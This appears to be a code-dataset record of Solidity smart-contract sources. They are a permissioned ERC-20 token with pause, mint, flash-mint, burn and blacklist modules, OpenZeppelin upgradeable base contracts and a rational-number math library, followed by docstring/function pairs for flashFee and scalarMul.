require(_paused, "Pausable: not paused"); _; } /// @notice Only administrators should be allowed to update this /// @dev Triggers stopped state function _pause() internal { _paused = true; emit Paused(msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Resets to normal state function _unpause() internal { _paused = false; emit Unpaused(msg.sender); } /// @dev Public function triggers stopped state function pause() external onlyPauser whenNotPaused { Pausable._pause(); } /// @dev Public function resets to normal state. function unpause() external onlyPauser whenPaused { Pausable._unpause(); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20FlashMintUpgradeable.sol"; import "../roles/MinterRole.sol"; /// @title Mintable Contract /// @notice Only administrators can mint tokens /// @dev Enables increasing a balance by minting tokens contract Mintable is ERC20FlashMintUpgradeable, MinterRole, ReentrancyGuardUpgradeable { event Mint(address indexed minter, address indexed to, uint256 amount); uint256 public flashMintFee = 0; address public flashMintFeeReceiver; bool public isFlashMintEnabled = false; bytes32 public constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan"); /// @notice Only administrators should be allowed to mint on behalf of another account /// @dev Mint a quantity of token in an account, increasing the balance /// @param minter Designated to be allowed to mint account tokens /// @param to The account tokens will be increased to /// @param amount The number of tokens to add to a balance function _mint( address minter, address to, uint256 amount ) internal returns (bool) { ERC20Upgradeable._mint(to, amount); emit Mint(minter, to, amount); return true; } /// @notice Only administrators should be allowed to update this /// @dev Enable or disable the flash mint functionality /// @param enabled A boolean flag that enables tokens to be flash minted function _setFlashMintEnabled(bool enabled) internal { isFlashMintEnabled = enabled; } /// @notice Only administrators should be allowed to update this /// @dev Sets the address that will receive fees of flash mints /// @param receiver The account that will receive flash mint fees function _setFlashMintFeeReceiver(address receiver) internal { flashMintFeeReceiver = receiver; } /// @dev Allow Owners to mint tokens to valid addresses /// @param account The account tokens will be added to /// @param amount The number of tokens to add to a balance function mint(address account, uint256 amount) public virtual onlyMinter returns (bool) { return Mintable._mint(msg.sender, account, amount); } /// @dev Public function to set the fee paid by the borrower for a flash mint /// @param fee The number of tokens that will cost to flash mint function setFlashMintFee(uint256 fee) external onlyMinter { flashMintFee = fee; } /// @dev Public function to enable or disable the flash mint functionality /// @param enabled A boolean flag that enables tokens to be flash minted function setFlashMintEnabled(bool enabled) external onlyMinter { _setFlashMintEnabled(enabled); } /// @dev Public function to update the receiver of the fee paid for a flash mint /// @param receiver The account that will receive flash mint fees function setFlashMintFeeReceiver(address receiver) external onlyMinter { _setFlashMintFeeReceiver(receiver); } /// @dev Public function that returns the fee set for a flash mint /// @param token The token to be flash loaned /// @return The fees applied to the corresponding flash loan function flashFee(address token, uint256) public view override returns (uint256) { require(token == address(this), "ERC20FlashMint: wrong token"); return flashMintFee; } /// @dev Performs a flash loan. New tokens are minted and sent to the /// `receiver`, who is required to implement the {IERC3156FlashBorrower} /// interface. By the end of the flash loan, the receiver is expected to own /// amount + fee tokens so that the fee can be sent to the fee receiver and the /// amount minted should be burned before the transaction completes /// @param receiver The receiver of the flash loan. Should implement the /// {IERC3156FlashBorrower.onFlashLoan} interface /// @param token The token to be flash loaned. Only `address(this)` is /// supported /// @param amount The amount of tokens to be loaned /// @param data An arbitrary datafield that is passed to the receiver /// @return `true` if the flash loan was successful function flashLoan( IERC3156FlashBorrowerUpgradeable receiver, address token, uint256 amount, bytes calldata data ) public override nonReentrant returns (bool) { require(isFlashMintEnabled, "flash mint is disabled"); uint256 fee = flashFee(token, amount); _mint(address(receiver), amount); require( receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE, "ERC20FlashMint: invalid return value" ); uint256 currentAllowance = allowance(address(receiver), address(this)); require( currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund" ); _transfer(address(receiver), flashMintFeeReceiver, fee); _approve( address(receiver), address(this), currentAllowance - amount - fee ); _burn(address(receiver), amount); return true; } uint256[47] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "../roles/BurnerRole.sol"; /// @title Burnable Contract /// @notice Only administrators can burn tokens /// @dev Enables reducing a balance by burning tokens contract Burnable is ERC20Upgradeable, BurnerRole { event Burn(address indexed burner, address indexed from, uint256 amount); /// @notice Only administrators should be allowed to burn on behalf of another account /// @dev Burn a quantity of token in an account, reducing the balance /// @param burner Designated to be allowed to burn account tokens /// @param from The account tokens will be deducted from /// @param amount The number of tokens to remove from a balance function _burn( address burner, address from, uint256 amount ) internal returns (bool) { ERC20Upgradeable._burn(from, amount); emit Burn(burner, from, amount); return true; } /// @dev Allow Burners to burn tokens for addresses /// @param account The account tokens will be deducted from /// @param amount The number of tokens to remove from a balance function burn(address account, uint256 amount) external onlyBurner returns (bool) { return _burn(msg.sender, account, amount); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../roles/BlacklisterRole.sol"; /// @title Blacklistable Contract /// @notice Only administrators can update the black list /// @dev Keeps track of black lists and can check if sender and reciever are configured to allow a transfer contract Blacklistable is BlacklisterRole { // The mapping to keep track if an address is black listed mapping(address => bool) public addressBlacklists; // Track whether Blacklisting is enabled bool public isBlacklistEnabled; // Events to allow tracking add/remove. event AddressAddedToBlacklist( address indexed addedAddress, address indexed addedBy ); event AddressRemovedFromBlacklist( address indexed removedAddress, address indexed removedBy ); event BlacklistEnabledUpdated( address indexed updatedBy, bool indexed enabled ); /// @notice Only administrators should be allowed to update this /// @dev Enable or disable the black list enforcement /// @param enabled A boolean flag that enables token transfers to be black listed function _setBlacklistEnabled(bool enabled) internal { isBlacklistEnabled = enabled; emit BlacklistEnabledUpdated(msg.sender, enabled); } /// @notice Only administrators should be allowed to update this /// @dev Sets an address's black listing status /// @param addressToAdd The address added to a black list function _addToBlacklist(address addressToAdd) internal { // Verify a valid address was passed in require(addressToAdd != address(0), "Cannot add 0x0"); // Verify the address is on the blacklist before it can be removed require(!addressBlacklists[addressToAdd], "Already on list"); // Set the address's white list ID addressBlacklists[addressToAdd] = true; // Emit the event for new Blacklist emit AddressAddedToBlacklist(addressToAdd, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Clears out an address from the black list /// @param addressToRemove The address removed from a black list function _removeFromBlacklist(address addressToRemove) internal { // Verify a valid address was passed in require(addressToRemove != address(0), "Cannot remove 0x0"); // Verify the address is on the blacklist before it can be removed require(addressBlacklists[addressToRemove], "Not on list"); // Zero out the previous white list addressBlacklists[addressToRemove] = false; // Emit the event for tracking emit AddressRemovedFromBlacklist(addressToRemove, msg.sender); } /// @notice If either the sender or receiver is black listed, then the transfer should be denied /// @dev Determine if the a sender is allowed to send to the receiver /// @param sender The sender of a token transfer /// @param receiver The receiver of a token transfer function checkBlacklistAllowed(address sender, address receiver) public view returns (bool) { // If black list enforcement is not enabled, then allow all if (!isBlacklistEnabled) { return true; } // If either address is on the black list then fail return !addressBlacklists[sender] && !addressBlacklists[receiver]; } /// @dev Public function that enables or disables the black list enforcement /// @param enabled A boolean flag that enables token transfers to be black listed function setBlacklistEnabled(bool enabled) external onlyOwner { _setBlacklistEnabled(enabled); } /// @dev Public function that allows admins to remove an address from a black list /// @param addressToAdd The address added to a black list function addToBlacklist(address addressToAdd) external onlyBlacklister { _addToBlacklist(addressToAdd); } /// @dev Public function that allows admins to remove an address from a black list /// @param addressToRemove The address removed from a black list function removeFromBlacklist(address addressToRemove) external onlyBlacklister { _removeFromBlacklist(addressToRemove); } uint256[48] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract ERC1404 { /// @notice Detects if a transfer will be reverted and if so returns an appropriate reference code /// @dev Overwrite with your custom transfer restriction logic /// @param from Sending address /// @param to Receiving address /// @param value Amount of tokens being transferred /// @return Code by which to reference message for rejection reasoning function detectTransferRestriction( address from, address to, uint256 value ) public view virtual returns (uint8); /// @notice Returns a human-readable message for a given restriction code /// @dev Overwrite with your custom message and restrictionCode handling /// @param restrictionCode Identifier for looking up a message /// @return Text showing the restriction's reasoning function messageForTransferRestriction(uint8 restrictionCode) public view virtual returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/ERC20FlashMint.sol) pragma solidity ^0.8.0; import "../../../interfaces/IERC3156Upgradeable.sol"; import "../ERC20Upgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the ERC3156 Flash loans extension, as defined in * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. * * Adds the {flashLoan} method, which provides flash loan support at the token * level. By default there is no fee, but this can be changed by overriding {flashFee}. * * _Available since v4.1._ */ abstract contract ERC20FlashMintUpgradeable is Initializable, ERC20Upgradeable, IERC3156FlashLenderUpgradeable { function __ERC20FlashMint_init() internal initializer { __Context_init_unchained(); __ERC20FlashMint_init_unchained(); } function __ERC20FlashMint_init_unchained() internal initializer { } bytes32 private constant _RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan"); /** * @dev Returns the maximum amount of tokens available for loan. * @param token The address of the token that is requested. * @return The amont of token that can be loaned. */ function maxFlashLoan(address token) public view override returns (uint256) { return token == address(this) ? type(uint256).max - ERC20Upgradeable.totalSupply() : 0; } /** * @dev Returns the fee applied when doing flash loans. By default this * implementation has 0 fees. This function can be overloaded to make * the flash loan mechanism deflationary. * @param token The token to be flash loaned. * @param amount The amount of tokens to be loaned. * @return The fees applied to the corresponding flash loan. */ function flashFee(address token, uint256 amount) public view virtual override returns (uint256) { require(token == address(this), "ERC20FlashMint: wrong token"); // silence warning about unused variable without the addition of bytecode. amount; return 0; } /** * @dev Performs a flash loan. New tokens are minted and sent to the * `receiver`, who is required to implement the {IERC3156FlashBorrower} * interface. By the end of the flash loan, the receiver is expected to own * amount + fee tokens and have them approved back to the token contract itself so * they can be burned. * @param receiver The receiver of the flash loan. Should implement the * {IERC3156FlashBorrower.onFlashLoan} interface. * @param token The token to be flash loaned. Only `address(this)` is * supported. * @param amount The amount of tokens to be loaned. * @param data An arbitrary datafield that is passed to the receiver. * @return `true` is the flash loan was successful. */ function flashLoan( IERC3156FlashBorrowerUpgradeable receiver, address token, uint256 amount, bytes calldata data ) public virtual override returns (bool) { uint256 fee = flashFee(token, amount); _mint(address(receiver), amount); require( receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE, "ERC20FlashMint: invalid return value" ); uint256 currentAllowance = allowance(address(receiver), address(this)); require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund"); _approve(address(receiver), address(this), currentAllowance - amount - fee); _burn(address(receiver), amount + fee); return true; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256[45] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (interfaces/IERC3156.sol) pragma solidity ^0.8.0; import "./IERC3156FlashBorrowerUpgradeable.sol"; import "./IERC3156FlashLenderUpgradeable.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (interfaces/IERC3156FlashLender.sol) pragma solidity ^0.8.0; import "./IERC3156FlashBorrowerUpgradeable.sol"; /** * @dev Interface of the ERC3156 FlashLender, as defined in * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. * * _Available since v4.1._ */ interface IERC3156FlashLenderUpgradeable { /** * @dev The amount of currency available to be lended. * @param token The loan currency. * @return The amount of `token` that can be borrowed. */ function maxFlashLoan(address token) external view returns (uint256); /** * @dev The fee to be charged for a given loan. * @param token The loan currency. * @param amount The amount of tokens lent. * @return The amount of `token` to be charged for the loan, on top of the returned principal. */ function flashFee(address token, uint256 amount) external view returns (uint256); /** * @dev Initiate a flash loan. * @param receiver The receiver of the tokens in the loan, and the receiver of the callback. * @param token The loan currency. * @param amount The amount of tokens lent. * @param data Arbitrary data structure, intended to contain user-defined parameters. */ function flashLoan( IERC3156FlashBorrowerUpgradeable receiver, address token, uint256 amount, bytes calldata data ) external returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (interfaces/IERC3156FlashBorrower.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC3156 FlashBorrower, as defined in * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156]. * * _Available since v4.1._ */ interface IERC3156FlashBorrowerUpgradeable { /** * @dev Receive a flash loan. * @param initiator The initiator of the loan. * @param token The loan currency. * @param amount The amount of tokens lent. * @param fee The additional amount of tokens to repay. * @param data Arbitrary data structure, intended to contain user-defined parameters. * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan" */ function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); }
Public function that returns the fee set for a flash mint token The token to be flash loaned return The fees applied to the corresponding flash loan
function flashFee(address token, uint256) public view override returns (uint256) { require(token == address(this), "ERC20FlashMint: wrong token"); return flashMintFee; }
9,906,267
pragma solidity 0.4.24; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./Rational.sol"; library RationalMath { using SafeMath for uint256; function mul(Rational.Rational256 memory a, Rational.Rational256 memory b) internal pure returns (Rational.Rational256 memory) { return Rational.Rational256({ n: a.n.mul(b.n), d: a.d.mul(b.d) }); } function div(Rational.Rational256 memory a, Rational.Rational256 memory b) internal pure returns (Rational.Rational256 memory) { assert(b.n != 0); return mul(a, reciprocal(b)); } function reciprocal(Rational.Rational256 memory r) internal pure returns (Rational.Rational256 memory) { assert(r.n != 0); return Rational.Rational256({ n: r.d, d: r.n }); } /** * @dev Multiplies Rational and uint * @return Product as a Rational */ function mul(Rational.Rational256 memory r, uint256 u) internal pure returns (Rational.Rational256 memory) { return Rational.Rational256({ n: r.n.mul(u), d: r.d }); } /** * @dev Multiplies Rational and uint * @return Product as a uint */ function scalarMul(Rational.Rational256 memory r, uint256 u) internal pure returns (uint256) { return toUInt256(Rational.Rational256({ n: r.n.mul(u), d: r.d })); } /** * @dev Converts rational to uint256. * Warning: may be rounding error. */ function toUInt256(Rational.Rational256 memory r) internal pure returns (uint256) { return r.n.div(r.d); } // n1/d1 > n2/d2 // = d2*n1 > n2*d2 function gt(Rational.Rational256 memory r1, Rational.Rational256 memory r2) internal pure returns (bool) { return r1.n.mul(r2.d) > r2.n.mul(r1.d); } // n1/d1 >= n2/d2 // = d2*n1 >= n2*d2 function gte(Rational.Rational256 memory r1, Rational.Rational256 memory r2) internal pure returns (bool) { return r1.n.mul(r2.d) >= r2.n.mul(r1.d); } // n1/d1 < n2/d2 // = d2*n1 < n2*d2 function lt(Rational.Rational256 memory r1, Rational.Rational256 memory r2) internal pure returns (bool) { return r1.n.mul(r2.d) < r2.n.mul(r1.d); } // n1/d1 <= n2/d2 // = d2*n1 <= n2*d2 function lte(Rational.Rational256 memory r1, Rational.Rational256 memory r2) internal pure returns (bool) { return r1.n.mul(r2.d) <= r2.n.mul(r1.d); } }
Multiplies Rational and uint return Product as a uint/
function scalarMul(Rational.Rational256 memory r, uint256 u) internal pure returns (uint256) { return toUInt256(Rational.Rational256({ n: r.n.mul(u), d: r.d })); }
